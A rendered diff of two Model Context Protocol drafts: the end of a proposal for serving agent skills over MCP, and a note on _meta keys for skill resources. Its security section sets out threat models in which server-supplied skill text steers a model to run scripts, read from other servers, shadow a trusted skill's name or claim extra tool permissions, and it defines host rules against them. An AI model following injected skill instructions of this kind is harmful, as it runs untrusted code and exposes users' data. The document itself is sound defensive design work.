**Context.** The host surfaces the `name` and `description` of each enabled registry entry in the model's context — the same list the model already sees for filesystem skills, now with MCP-served entries mixed in. The host's UI presents the same merged list for user inspection and per-skill enable/disable, with provenance shown so users can see which server a skill came from.
|
||||
|
||||
**Loading.** The host exposes a single skill-loading tool to the model, keyed by skill name:
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "read_skill",
|
||||
"description": "Load a skill's SKILL.md into context.",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"name": { "type": "string", "description": "The skill name" }
|
||||
},
|
||||
"required": ["name"]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
`read_skill` is the host's skill-loading path in this sketch — the only route by which a skill is activated ([Reading](#reading)); a `read_resource` call against the same `SKILL.md` URI returns its content but does not load the skill. When the model calls `read_skill`, the host looks up the name in its registry and routes on origin: a filesystem skill is read from disk; an MCP skill is fetched via `resources/read` against the originating server — at that moment, not before, unless a verified copy is already in the host's cache. The mechanics are the same either way. When a name is collision-qualified ([Names](#names)), the qualified form is what appears in the model's context and what the model passes as `name`. Hosts that already expose a name-keyed skill-loading tool for filesystem skills extend it rather than introducing a parallel one.
|
||||
|
||||
**Supporting files.** Once a `SKILL.md` is in context, the model may encounter relative references to supporting files (`references/GUIDE.md`, `scripts/extract.py`). For filesystem skills the model reads these with the host's ordinary file-read tool; for MCP skills there is no local file. The host therefore also exposes a general-purpose resource-reading tool:
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "read_resource",
|
||||
"description": "Read an MCP resource from a connected server.",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"server": {
|
||||
"type": "string",
|
||||
"description": "Name of the connected MCP server"
|
||||
},
|
||||
"uri": { "type": "string", "description": "The resource URI" }
|
||||
},
|
||||
"required": ["server", "uri"]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The host arranges for the model to know, when it loads an MCP-served `SKILL.md`, which server it came from and what its base URI is — for example by stating both in the `read_skill` tool result — so the model can resolve `references/GUIDE.md` to `skill://<skill-path>/references/GUIDE.md` and issue `read_resource` against the right server. A host may instead fold this into its file-read tool by mounting each server's `skill://` namespace into a virtual path — one mount root per server, so that the path encodes the server identity ([Skill URIs](#skill-uris)) — and translating reads under that path into `resources/read` calls, in which case no separate `read_resource` tool is needed and the model treats every supporting file as a local path. A virtual mount resolves reads on access; it MUST NOT be populated by fetching the skill's files in advance. Either way the resolution rule is the same: relative references resolve against the skill's root directory, exactly as on a filesystem. When the skill's entry carries a `resources` array, the host verifies each such read against it, per [Integrity and verification](#integrity-and-verification).
|
||||
|
||||
**Directory navigation.** Skill instructions may point the model at a directory rather than a file ("choose the right template from `templates/`"). When the originating server declares `directoryRead`, the host SHOULD surface this capability to the model: a `read_resource` call whose target is a directory resource can be routed to `resources/directory/read` and return the child listing, and the virtual-mount approach maps it onto the host's existing directory-listing tool — an `ls` of a mounted path becomes a `resources/directory/read` call.
|
||||
|
||||
**Unenumerated skills.** Because a listing may be empty or partial, a host should also accept skill URIs it has never seen listed — handed to the model by the user, by server instructions, or by another skill. Calling `skills/get` on such a URI yields the same entry a listing would have carried, so an unlisted skill enters the registry, gets verified, and is approved on the same terms as a listed one; a server that does not serve the URI as a skill answers with an error. A host may additionally let `read_skill` accept a full URI for this case.
|
||||
|
||||
The `read_resource` signature above includes `server` because two connected servers may both serve `skill://refunds/SKILL.md`. That is one disambiguation strategy; a host may instead rewrite URIs with a per-server prefix, scope by session, or anything else appropriate to its architecture. The tool is general-purpose — it reads any MCP resource — and is useful beyond skills.
|
||||
|
||||
### SDKs: Convenience Wrappers
|
||||
|
||||
SDK maintainers SHOULD provide affordances that wrap the underlying resource operations in skill-specific terms. For example:
|
||||
|
||||
**Server-side** — declare a skill from a directory, at a given path:
|
||||
|
||||
```python
|
||||
@server.skill("git-workflow") # → skill://git-workflow/SKILL.md
|
||||
def git_workflow():
|
||||
return Path("./skills/git-workflow")
|
||||
|
||||
@server.skill("acme/billing/refunds") # → skill://acme/billing/refunds/SKILL.md
|
||||
def refunds():
|
||||
return Path("./skills/refunds")
|
||||
```
|
||||
|
||||
The SDK handles: reading `SKILL.md` frontmatter to populate resource metadata, serving file content on `resources/read`, and answering `skills/get` — and, where the server's skill set is bounded, `skills/list` — computing entry digests and sizes from the registered files, and warning when a registered skill exceeds the [Limits](#limits).
|
||||
|
||||
**Client-side** — enumerate and fetch skills:
|
||||
|
||||
```python
|
||||
skills = await client.list_skills() # calls skills/list, paginating; may be empty
|
||||
entry = await client.get_skill(
|
||||
"skill://acme/billing/refunds/SKILL.md") # calls skills/get, listed or not
|
||||
content = await client.read_skill_uri(
|
||||
"skill://acme/billing/refunds/SKILL.md") # wraps resources/read, works regardless of enumeration
|
||||
entries = await client.read_directory(
|
||||
"skill://pdf-processing/templates") # wraps resources/directory/read
|
||||
```
|
||||
|
||||
These wrappers are thin — each is a single underlying protocol call with a fixed URI pattern — but they give server authors an ergonomic way to declare skills and give client authors a discoverable entry point.
|
||||
|
||||
## Rationale
|
||||
|
||||
The design rationale for this SEP — why skills map to Resources rather than a new primitive, the URI structure, listing semantics, `skills/get`, the choice of a method over an index resource, format delegation to agentskills.io, directory reads, verbatim frontmatter, and per-file digests — is maintained as a standalone document in the Working Group repository: [rationale.md](https://github.com/modelcontextprotocol/experimental-ext-skills/blob/main/docs/rationale.md).
|
||||
|
||||
One point of that design bears restating here because it shapes how the two methods relate. A `skills/list` entry is intentionally a complete manifest of the skill — its verbatim `frontmatter` and its full `resources` set with digests — rather than a summary to be filled in by a follow-up call. A host that pages through the listing therefore has, in that one pass, everything it needs to build its registry, present the skill for approval, bind the approval to content, and verify every file it later reads; there is no second round-trip per skill, which matters most for exactly the hosts that connect to many servers or servers with many skills. `skills/get` exists for the cases the listing does not serve: refreshing a single skill's entry — typically after a digest mismatch — without re-enumerating the catalog, and obtaining an entry for a skill that a partial listing omitted. It is never a step a host must take to complete a listed entry.
|
||||
|
||||
## Backward Compatibility
|
||||
|
||||
This extension introduces three protocol methods. `skills/list` and `skills/get` are implemented by every server declaring the extension, so a client only issues those calls after seeing the declaration, and a client that predates the extension never issues them. `resources/directory/read` is additionally gated behind the `directoryRead` capability setting — a server that does not declare it never receives the call. The extension introduces no other methods, message types, or schema changes. A server that does not implement this extension simply exposes no `skill://` resources; existing clients are unaffected. A client that does not implement this extension sees `skill://` resources as ordinary resources, which they are.
|
||||
|
||||
Existing implementations using other `skill://` URI structures will need to adjust to conform — see the Working Group's [related-work survey](https://github.com/modelcontextprotocol/experimental-ext-skills/blob/main/docs/related-work.md) for a catalog. Notably, FastMCP's widely-used [SkillsProvider](https://gofastmcp.com/servers/providers/skills) diverges on URI structure, discovery (per-skill `_manifest` vs. central index), and metadata mapping; coordinating that migration is a near-term Working Group priority. These are mechanical changes, not semantic ones.
|
||||
|
||||
## Security Implications
|
||||
|
||||
Skill content is instructional text delivered to a model, which makes it a prompt-injection surface (background in [open-questions.md §10](https://github.com/modelcontextprotocol/experimental-ext-skills/blob/main/docs/open-questions.md#10-how-should-skills-handle-security-and-trust-boundaries)). This extension imposes the following requirements:
|
||||
|
||||
- **Skill content is untrusted input.** Hosts MUST treat MCP-served skill content as untrusted model input, subject to the same prompt-injection defenses applied to any server-provided text. A server being connected does not make its skill content authoritative.
|
||||
- **Origin MUST be visible to the model.** Hosts MUST tag MCP-served skill content with its originating server identity at the point it enters model context and MUST NOT present an MCP-served skill to the model as indistinguishable from a local filesystem skill. The model, not the host, decides whether to follow a skill's instructions. Withholding origin from it makes the untrusted-input requirement above unenforceable at the layer that acts on it.
|
||||
- **Skills introduce host-side surfaces that tools do not.** Unlike a remote tool call, an MCP-served skill can place server-authored bytes on the host filesystem and direct the model to execute them with host-side tools. Hosts MUST treat MCP-served skills as a higher-risk surface than remote tool invocation.
|
||||
- **No implicit local execution.** Hosts MUST NOT allow MCP-served skill content to cause host-side code execution without explicit per-skill user approval. This covers (a) declarative fields the host parses (hooks, frontmatter scripts) and (b) instructions in the skill body that direct the model to invoke any host code-execution tool, whether to run a script bundled in the skill or to run an arbitrary command the skill specifies. Hosts MUST ignore or approval-gate (a), and MUST apply the same approval gate to code-execution tool calls issued while the model is acting on an MCP-served skill.
|
||||
- **Origin-scoped resource reads.** A model-callable resource-read surface (such as the `read_resource` pattern in [Hosts: End-to-End Integration](#hosts-end-to-end-integration)) is a cross-server confused-deputy vector when driven by untrusted skill content. Hosts MUST bind such reads to the skill's originating server: a skill served by server A MUST NOT cause a `resources/read` against server B. Hosts MUST identify servers by a host-assigned label, not the server's self-reported `serverInfo.name`. Any cross-origin read MUST be gated behind explicit per-call user approval naming both servers.
|
||||
- **Name collisions are an impersonation surface.** Skill names are not unique across origins, and a malicious server can publish a skill under the name of a popular one — another server's, or the user's own local skill — counting on the host resolving its way. Hosts MUST resolve skill names within a per-origin namespace, identifying servers by a host-assigned label, not the self-reported `serverInfo.name`; MUST NOT let an MCP-served skill silently shadow, replace, or intercept invocations of a same-named skill from any other origin, including the host's filesystem skills; and SHOULD surface collisions to the user. A name binds to whatever bytes its origin currently serves — it carries no authorship or endorsement. Intermediaries MAY attach provenance or verification annotations via `_meta` under their own reverse-domain prefix — not the `io.modelcontextprotocol.skills/` prefix reserved for this extension ([Resource Metadata](#resource-metadata)); this extension assigns such annotations no semantics.
|
||||
- **No implicit permission grants.** Hosts MUST NOT honor frontmatter fields that widen the model's tool or filesystem permissions when the skill arrives over MCP. In particular, the Agent Skills `allowed-tools` field, which a filesystem-sourced skill uses to declare the tools available while it runs, MUST be ignored for MCP-origin skills unless the user has explicitly approved that grant for that skill. A remote server populating `allowed-tools` is requesting elevated access on the host, not declaring a property of its own environment. Approval of a skill never extends to the frontmatter of any other `SKILL.md` within its file space: a nested skill's `allowed-tools` has no effect unless that nested skill is itself activated under its own approval ([Nested skills](#nested-skills)).
|
||||
- **Skills are data, not directives.** Hosts MUST NOT treat skill resources as higher-authority than other context. Explicit user policy governs whether a skill is loaded at all.
|
||||
- **Nested skill consent.** Approval is per skill: approving a skill does not approve skills nested within it. Activating a nested `SKILL.md` requires fresh, explicit user consent, per [Nested skills](#nested-skills). Silently promoting a file of an approved skill to an active skill would let a server ride new instructions and permission requests in on a prior approval.
|
||||
- **Provenance and inspection.** Hosts SHOULD indicate which server a skill originates from when presenting it, SHOULD let users inspect a skill's content before it is loaded into model context, and MAY gate loading behind per-skill or per-server user approval.
|
||||
- **Digests are not a security boundary.** Listing digests are unsigned and come from the same server as the content. They confirm consistency between the listing and what was fetched, as described in [Integrity and verification](#integrity-and-verification), but they cannot establish trust in the content, defend against the server itself, or detect an intermediary that rewrites both together.
|
||||
- **Content-bound approval.** When a host persists any per-skill user approval, it MUST be bound to the entry's `resources` set — every `uri` and `digest` — observed at the moment of approval. If a subsequent entry for that skill — from `skills/list` or `skills/get` — advertises a different set, whether a file was rotated, added, or removed, the host MUST treat the prior approval as revoked and re-prompt before loading or executing. A host need not poll for changes. While it is acting on the skill ([Integrity and verification](#integrity-and-verification)), content that has moved fails verification when read; and if it does fetch a fresh entry, the rule above revokes the approval. Neither path lets moved content through under the old approval. A skill whose `resources` is `"dynamic"` cannot be content-bound: hosts MAY decline to load it, and MUST NOT treat a persisted approval as covering whatever content the server currently serves. Digest verification ([Integrity and verification](#integrity-and-verification)) defends the approval after it is granted - it cannot establish that the content was trustworthy when the user approved it, because the server authors both the listing and the body.
|
||||
- **Caching, cache integrity, cache isolation, and durable origin.** Hosts SHOULD cache verified skill content locally, populated on demand as files are read rather than in bulk ([Integrity and verification](#integrity-and-verification)). A cache is a second copy of content that was verified once; the verification does not carry over to bytes that may have changed since. Hosts that cache skill content on disk MUST therefore do one of the following for every file served from the cache: keep the cache where nothing but the host can write to it — not the model, not scripts or tools the model runs, not other users of the machine — and never modify a cached file in place; or recompute the file's SHA-256 digest from the cached bytes on each access and compare it against the entry's digest, treating a mismatch exactly as a mismatch on a fresh read. Comparing a stored digest label, or a modification time, is not verification. Hosts that cache MCP-served skill content on disk MUST also do so in a location excluded from every filesystem-skill discovery path, and MUST treat content loaded from that location as having arrived over MCP for all purposes of the no-implicit-local-execution rule above, including after host restart and after the originating server is disconnected. Cached bytes do not graduate to filesystem-skill trust by residing locally. Hosts SHOULD remove a server's cached skill content when the user removes that server.
|
||||
|
||||
## Reference Implementation
|
||||
|
||||
Per [SEP-2133], an Extensions Track SEP requires at least one reference implementation in an official SDK prior to review.
|
||||
|
||||
**SDK implementation:**
|
||||
|
||||
- TypeScript SDK convenience wrappers (`@server.skill()`, `client.listSkills()`, `client.readSkillUri()`): [experimental-ext-skills#71](https://github.com/modelcontextprotocol/experimental-ext-skills/pull/71)
|
||||
|
||||
**Prototype host implementations** (reading `skill://` resources, surfacing skills alongside filesystem skills):
|
||||
|
||||
- gemini-cli: [olaservo/gemini-cli#1](https://github.com/olaservo/gemini-cli/pull/1)
|
||||
- fast-agent: [olaservo/fast-agent#1](https://github.com/olaservo/fast-agent/pull/1)
|
||||
- goose: [olaservo/goose#1](https://github.com/olaservo/goose/pull/1)
|
||||
- codex: [olaservo/codex#1](https://github.com/olaservo/codex/pull/1)
|
||||
- Claude Code: prototyped internally at Anthropic; not yet public
|
||||
|
||||
**Prototype server implementation:**
|
||||
|
||||
- GitHub MCP Server: [github/github-mcp-server#2360](https://github.com/github/github-mcp-server/pull/2360)
|
||||
|
||||
## Appendix: Deferred Features
|
||||
|
||||
Features recorded here appeared in earlier revisions of this SEP and were removed before review concluded. They are not part of this extension. Each is kept on record with the objections that removed it, so that any future proposal to reintroduce one starts from those objections rather than rediscovering them.
|
||||
|
||||
### Archive Distribution
|
||||
|
||||
An earlier revision let a skill entry advertise pre-packed archives of the entire skill directory — gzip-compressed tar and ZIP — as an alternative retrieval form alongside the skill's `uri`. A host could fetch a multi-file skill in a single `resources/read` rather than one per file, and an archive could carry UNIX file metadata (executable bits, symlinks) that individually served resources cannot represent.
|
||||
|
||||
The Core Maintainers removed archives during review, for two reasons:
|
||||
|
||||
- **Unpacking is an attack surface disproportionate to the benefit.** Safely extracting an archive supplied by a remote server means defending against decompression bombs, path traversal, links resolving outside the skill directory, case- and Unicode-normalization collisions that silently overwrite `SKILL.md`, setuid and setgid bits, and non-regular file entries such as device nodes. Every host would have to implement that checklist correctly, and a host that got any item wrong would be exploitable by any server it connects to. Serving a skill as individually addressable resources has no comparable surface.
|
||||
- **Two ways to serve one skill is a compatibility hazard.** Archives were a second encoding of content the protocol could already express. Hosts would have to support both forms to be certain of reading any skill, and a skill offered only as an archive would be unreadable to a host that implemented individual-file reads alone. A single retrieval form keeps the compatibility floor flat: any conforming host can read any conforming skill.
|
||||
|
||||
The cost of removal is the one archives were introduced to address — a skill with many supporting files takes one round trip per file, and executable bits and symlinks have no representation. Because hosts retrieve files only as they are needed ([Integrity and verification](#integrity-and-verification)), that cost scales with the files a session actually uses rather than with the size of the skill. Should archives be reconsidered, the questions to settle first are how to bound host-side unpacking risk, perhaps by restricting the format to a profile admitting no symlinks, no non-regular entries, and a declared uncompressed size; and how to keep an archive strictly an optimization, never the sole way to retrieve a skill, so that the compatibility floor stays flat. An archive form would now also be required to unpack to exactly the file set enumerated in the entry's `resources` ([Resources](#resources)).
|
||||
|
||||
## References
|
||||
|
||||
- [Agent Skills specification](https://agentskills.io/specification)
|
||||
- [SEP-2133]: Extensions
|
||||
- [SEP-2549]: TTL for list results
|
||||
- [SEP-2076]: Agent Skills as first-class primitive (alternative approach)
|
||||
- [Skills Over MCP Working Group charter](https://modelcontextprotocol.io/community/skills-over-mcp/charter)
|
||||
- [Decision Log](https://github.com/modelcontextprotocol/experimental-ext-skills/blob/main/docs/decisions.md) — Working Group decisions and rationale
|
||||
- [Experimental Findings](https://github.com/modelcontextprotocol/experimental-ext-skills/blob/main/docs/experimental-findings.md) — results from implementations (WIP)
|
||||
- [Related Work](https://github.com/modelcontextprotocol/experimental-ext-skills/blob/main/docs/related-work.md) — survey of existing skill-serving implementations
|
||||
- [Skill `_meta` Keys](https://github.com/modelcontextprotocol/experimental-ext-skills/blob/main/docs/skill-meta-keys.md) — `_meta` key conventions for skill resources
|
||||
- [RFC 3986: URIs](https://datatracker.ietf.org/doc/html/rfc3986)
|
||||
|
||||
[SEP-2076]: https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2076
|
||||
[SEP-2133]: https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2133
|
||||
[SEP-2549]: https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2549
|
||||
197
docs/archive/skill-meta-keys.md
Normal file
197
docs/archive/skill-meta-keys.md
Normal file
|
|
@ -0,0 +1,197 @@
|
|||
# Using `_meta` for Skill Resources
|
||||
|
||||
> Guidelines for structured metadata on skill resources served over MCP.
|
||||
|
||||
**Issue:** [#55](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/55)
|
||||
**Status:** Draft
|
||||
**Related:** [Skill URI Scheme Proposal](skill-uri-scheme.md)
|
||||
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
The [Skill URI Scheme Proposal](skill-uri-scheme.md) defines a `skill://` URI convention for identifying skill resources over MCP, and notes that servers MAY use the `_meta` field for additional skill metadata — but doesn't specify what keys would be useful or how `_meta` relates to other metadata surfaces.
|
||||
|
||||
Skills exposed as MCP resources already have multiple metadata surfaces: `Resource` fields (`name`, `description`, `uri`), `annotations` (`audience`, `priority`), and [Agent Skills frontmatter](https://agentskills.io/specification) in the resource content. Before defining any `_meta` keys, it's important to establish clear boundaries between these surfaces to avoid duplication and fragmentation.
|
||||
|
||||
This document establishes scoping principles for when `_meta` is appropriate, defines a namespace convention for skill-related keys, surveys how existing implementations handle skill metadata, and identifies candidate keys for future standardization.
|
||||
|
||||
## Metadata Surfaces for Skill Resources
|
||||
|
||||
Skill resources have four distinct metadata surfaces. Understanding which metadata goes where is essential before using `_meta`.
|
||||
|
||||
| Surface | Fields | Purpose | Who uses it |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| **Resource fields** | `name`, `description`, `uri`, `mimeType`, `size` | Structural identity — what the resource is | Protocol layer, all clients |
|
||||
| **`annotations`** | `audience`, `priority`, `lastModified` | Display and routing hints — how the client should treat it | Client UX, model routing |
|
||||
| **Frontmatter** | `name`, `description`, `allowed-tools`, `compatibility`, etc. | Skill-level semantics — what the skill does and how it behaves | Skill-aware clients, all implementations |
|
||||
| **`_meta`** | Extensible key-value object | Additional metadata not covered by the above surfaces | Varies by use case |
|
||||
|
||||
### Scoping Principles
|
||||
|
||||
**Don't duplicate information across surfaces.** Each piece of metadata should have one authoritative home:
|
||||
|
||||
- A skill's name and description belong in `Resource.name` and `Resource.description`
|
||||
- Audience routing belongs in `annotations`
|
||||
- Skill-level semantics (version, invocation mode, allowed tools) belong in **frontmatter** — these properties apply to skills regardless of whether they are served over MCP, and frontmatter is the mechanism defined by the [Agent Skills specification](https://agentskills.io/specification) for expressing them
|
||||
- Distribution-level concerns (inter-server dependencies, provenance, packaging) may be better addressed at the **plugin or distribution layer** rather than per-resource `_meta`
|
||||
|
||||
**Prefer existing surfaces over `_meta`.** The bar for adding a `_meta` key should be high: the metadata must not fit cleanly into Resource fields, `annotations`, frontmatter, or a distribution-layer mechanism. `_meta` is the right choice when metadata is specific to the MCP transport context and has no natural home elsewhere.
|
||||
|
||||
**Keep `_meta` lightweight.** Well-built clients will cache skill resources locally and use `annotations.lastModified` plus change notifications to stay current. Metadata reads will greatly outnumber content reads, so `_meta` should be kept lean. If clients need skill-level properties (version, invocation mode, allowed tools), they read them from the cached resource content — not from a duplicated `_meta` projection.
|
||||
|
||||
### What Not to Put in `_meta`
|
||||
|
||||
- **`name` / `description`** — Use `Resource.name` and `Resource.description`
|
||||
- **Skill-level semantics** — Fields like `version`, `invocation`, `allowed-tools`, `compatibility`, `model`, `hooks`, `argument-hint`, and `context`/`agent` belong in frontmatter. Duplicating these in `_meta` creates sync risk and blurs the boundary between transport and content. Even as a "materialized view," the duplication is a net pessimization if clients are caching resource content anyway.
|
||||
- **Content** — `_meta` is for metadata about the skill, not the skill instructions themselves. Skill content is the resource body.
|
||||
|
||||
### Using `annotations` for Skill Resources
|
||||
|
||||
Skill resources SHOULD populate `annotations` for effective client behavior:
|
||||
|
||||
- **`audience`**: Use `["assistant"]` for skills consumed only by the model. Use `["user", "assistant"]` for skills that may also be displayed in a skill browser or management UI.
|
||||
- **`priority`**: Use higher values (e.g., `0.8`) for the primary SKILL.md resource and lower values (e.g., `0.3`) for supporting reference files. This helps clients decide what to load first in progressive disclosure.
|
||||
- **`lastModified`**: ISO 8601 timestamp. Enables cache invalidation when skill content changes.
|
||||
|
||||
## Namespace Convention
|
||||
|
||||
When `_meta` keys are needed for skill resources, implementations SHOULD use the `io.modelcontextprotocol.skills/` reverse-domain prefix. This:
|
||||
|
||||
- **Follows the MCP spec:** The [2025-11-25 specification](https://modelcontextprotocol.io/specification/2025-11-25/server/resources) recommends reverse DNS notation for `_meta` keys (e.g., `com.example/key` rather than `example.com/key`). Keys without a namespace prefix are valid but risk collisions.
|
||||
- **Signals MCP-layer semantics:** These keys describe how skills relate to the MCP ecosystem, distinct from skill-level behavior in frontmatter.
|
||||
- **Avoids collisions:** Implementation-specific keys (like FastMCP's `fastmcp` key) can coexist alongside namespaced keys without conflict.
|
||||
|
||||
Implementation-specific keys MAY use their own namespace (e.g., `com.fastmcp/` or a top-level scoped key like `fastmcp`), but SHOULD NOT use the `io.modelcontextprotocol.skills/` prefix for non-standardized keys.
|
||||
|
||||
## Survey of Existing Implementations
|
||||
|
||||
Four implementations illustrate the current state of skill metadata in the ecosystem. Each has made different choices about what metadata to surface and how.
|
||||
|
||||
### NimbleBrain
|
||||
|
||||
[NimbleBrain](https://github.com/NimbleBrainInc/skills) exposes skills as `skill://` resources directly on their MCP servers, with skill content colocated alongside the tools it describes. Five reference servers ([mcp-ipinfo](https://github.com/NimbleBrainInc/mcp-ipinfo), [mcp-webfetch](https://github.com/NimbleBrainInc/mcp-webfetch), [mcp-pdfco](https://github.com/NimbleBrainInc/mcp-pdfco), [mcp-folk](https://github.com/NimbleBrainInc/mcp-folk), [mcp-brave-search](https://github.com/NimbleBrainInc/mcp-brave-search)) independently converged on this pattern.
|
||||
|
||||
At the registry layer, NimbleBrain uses a `skill` field in registry `_meta` to support `.skill` artifact bundles (ZIP containing SKILL.md + manifest.json). The individual skill resources on the servers don't currently carry `_meta` keys — metadata lives at the registry level rather than per-resource.
|
||||
|
||||
> "Skills living as skill:// resources on the server itself was the natural endpoint of that consolidation. The skill context is colocated with the tools it describes, versioned together, shipped together." — [Mat Goldsborough](https://github.com/mgoldsborough) (NimbleBrain), via Discord
|
||||
|
||||
### FastMCP 3.0
|
||||
|
||||
[FastMCP](https://gofastmcp.com/servers/providers/skills) added native skills support in version 3.0 with a pull-based resource update model. FastMCP uses a `fastmcp` key in `_meta` containing structured metadata including tags, version, and a skill sub-object with the skill name and manifest flag. This is an implementation-specific namespace — not reverse-DNS prefixed, but scoped under a single top-level key to avoid collisions.
|
||||
|
||||
### Agent Skills Specification
|
||||
|
||||
The [Agent Skills specification](https://agentskills.io/specification) defines 6 allowed top-level fields in SKILL.md YAML frontmatter: `name`, `description`, `license`, `compatibility`, `allowed-tools`, and `metadata`. The `metadata` field is a flat `dict[str, str]` intended as the extension point for client-specific data.
|
||||
|
||||
However, multiple implementations already ship fields beyond this set. `disable-model-invocation` is supported by Claude Code, Cursor, and VS Code Copilot. `user-invocable` is supported by Claude Code and VS Code Copilot. Claude Code additionally supports `model`, `context`, `agent`, `hooks`, and `argument-hint`. The gap between spec and implementation is significant — non-spec fields are already shipping in three independent implementations.
|
||||
|
||||
The agentskills community has also proposed open frontmatter with namespacing guidance ([agentskills#211](https://github.com/agentskills/agentskills/issues/211)), where non-standard fields would be prefixed with `{AGENT_NAME}-` or nested under `{AGENT_NAME}:` (e.g., `claude:model`). This reinforces keeping skill-level semantics in frontmatter while reserving `_meta` for concerns that frontmatter cannot address.
|
||||
|
||||
### Summary
|
||||
|
||||
| Implementation | Metadata surface | Namespace approach | Skill-specific keys |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| NimbleBrain | Registry `_meta` | `skill` field | Bundle metadata (manifest.json) |
|
||||
| FastMCP 3.0 | Resource `_meta` | `fastmcp` top-level key | `tags`, `version`, `skill.name`, `skill.is_manifest` |
|
||||
| Agent Skills spec | YAML frontmatter | Flat + `metadata` dict | `name`, `description`, `license`, `compatibility`, `allowed-tools` |
|
||||
|
||||
**Key observations:**
|
||||
|
||||
- FastMCP uses a non-namespaced but scoped key (`fastmcp`) — valid but doesn't follow the MCP spec's reverse DNS recommendation
|
||||
- NimbleBrain's metadata lives at the registry layer, not per-resource — complementary to per-resource `_meta`
|
||||
- The Agent Skills spec's `metadata` dict is flat `dict[str, str]`, which can't express lists or nested objects — MCP's `_meta` can
|
||||
- Skill-level semantics (version, invocation, tools) are well-served by frontmatter; most metadata needs for skills today don't require `_meta`
|
||||
|
||||
## Example: Skill Resource Without `_meta`
|
||||
|
||||
Most skill resources won't need `_meta` keys. Resource fields, `annotations`, and frontmatter cover the common cases. This example uses the `skill://` URI convention from the [Skill URI Scheme Proposal](skill-uri-scheme.md).
|
||||
|
||||
```json
|
||||
{
|
||||
"resources": [
|
||||
{
|
||||
"uri": "skill://ipinfo/usage",
|
||||
"name": "ipinfo-usage",
|
||||
"description": "Tool selection guidance and context reuse patterns for IP lookup tools.",
|
||||
"mimeType": "text/markdown",
|
||||
"annotations": {
|
||||
"audience": ["assistant"],
|
||||
"priority": 0.8,
|
||||
"lastModified": "2026-03-01T12:00:00Z"
|
||||
}
|
||||
},
|
||||
{
|
||||
"uri": "skill://code-review/SKILL.md",
|
||||
"name": "code-review",
|
||||
"description": "Structured code review workflow with checklist-driven analysis and inline annotations.",
|
||||
"mimeType": "text/markdown",
|
||||
"annotations": {
|
||||
"audience": ["assistant"],
|
||||
"priority": 0.8,
|
||||
"lastModified": "2026-02-15T09:30:00Z"
|
||||
}
|
||||
},
|
||||
{
|
||||
"uri": "skill://code-review/references/security-checklist.md",
|
||||
"name": "code-review-security-checklist",
|
||||
"description": "OWASP-aligned security review checklist for code review skill.",
|
||||
"mimeType": "text/markdown",
|
||||
"annotations": {
|
||||
"audience": ["assistant"],
|
||||
"priority": 0.3,
|
||||
"lastModified": "2026-02-15T09:30:00Z"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Skill-level metadata (version, allowed tools, invocation mode) lives in the SKILL.md frontmatter, read from the resource content. The `annotations.priority` field differentiates the primary skill from supporting content, enabling clients to load the main skill first and defer references until needed.
|
||||
|
||||
## Candidate Keys for Future Standardization
|
||||
|
||||
The following areas have been identified as potential uses for `_meta` on skill resources. Each requires further discussion to determine whether `_meta` is the right home — some may be better addressed at the distribution/plugin layer, in frontmatter, or in MCP itself.
|
||||
|
||||
| Area | Description | Open Questions | Community References |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| **Provenance** | Server origin, authorship, canonical source for skills aggregated across servers | Could be solved at the plugin/distribution layer instead of per-resource. Also applies to non-MCP skills, suggesting frontmatter may be more appropriate. | [Skill URI Scheme Proposal](skill-uri-scheme.md) |
|
||||
| **Dependencies** | Inter-skill and inter-server dependency declarations for host-mediated resolution | Plugin-level dependency resolution may be more appropriate than per-skill declarations. Versioning is also an open MCP-wide concern (see server versioning SEPs). | [agentskills#21](https://github.com/agentskills/agentskills/issues/21), [agentskills#195](https://github.com/agentskills/agentskills/issues/195) |
|
||||
| **Input/output schemas** | Typed contracts for skills-as-tools bridge | May belong in frontmatter if applicable to non-MCP skills. | [agentskills#136](https://github.com/agentskills/agentskills/issues/136), [agentskills#61](https://github.com/agentskills/agentskills/issues/61) |
|
||||
| **Content integrity** | Hash for verifying skill content hasn't been modified in transit | Potentially MCP-transport-specific; no frontmatter equivalent. | — |
|
||||
| **Activation triggers** | File patterns, keywords, or intents that trigger skill loading | Likely a skill-level concern better addressed in frontmatter. | [agentskills#57](https://github.com/agentskills/agentskills/issues/57), [agentskills#64](https://github.com/agentskills/agentskills/issues/64) |
|
||||
|
||||
The general razor for evaluating candidates: **does this metadata also apply to non-MCP skills?** If so, it should be solved in frontmatter rather than `_meta`, to avoid fragmenting the skills ecosystem across transport mechanisms.
|
||||
|
||||
## Relationship to Other Work
|
||||
|
||||
### Skill URI Scheme (PR #53)
|
||||
|
||||
The [Skill URI Scheme Proposal](skill-uri-scheme.md) defines the `skill://` URI convention for identifying skill resources. The URI scheme determines *how skills are addressed*; this document establishes conventions for *what metadata they carry* in `_meta`, when `_meta` is warranted at all.
|
||||
|
||||
### Agent Skills Spec Frontmatter
|
||||
|
||||
Frontmatter remains the authoritative source for skill-level semantics. This document intentionally does not recommend `_meta` keys that duplicate frontmatter. The [open frontmatter proposal (agentskills#211)](https://github.com/agentskills/agentskills/issues/211) and ongoing convergence across implementations (Claude Code, Cursor, VS Code Copilot) will continue to expand what frontmatter can express — reducing the surface area where `_meta` is needed.
|
||||
|
||||
### Plugin and Distribution Layer
|
||||
|
||||
Concerns like provenance, inter-server dependencies, and packaging may be more naturally addressed at the plugin or distribution layer (e.g., Claude Code plugins) rather than per-resource `_meta`. The distribution layer can express inter-server *and* inter-skill dependencies, with a broader scope than individual skill resources. This document acknowledges that deferred candidates may migrate to that layer as it matures.
|
||||
|
||||
### Registry `skills.json` Proposal
|
||||
|
||||
The [registry `skills.json` proposal](https://github.com/modelcontextprotocol/registry/discussions/895) addresses discovery metadata at the registry layer — categories, search tags, server-skill pairing. Registry metadata helps users *find* skills; `_meta` (when used) provides per-resource context at runtime.
|
||||
|
||||
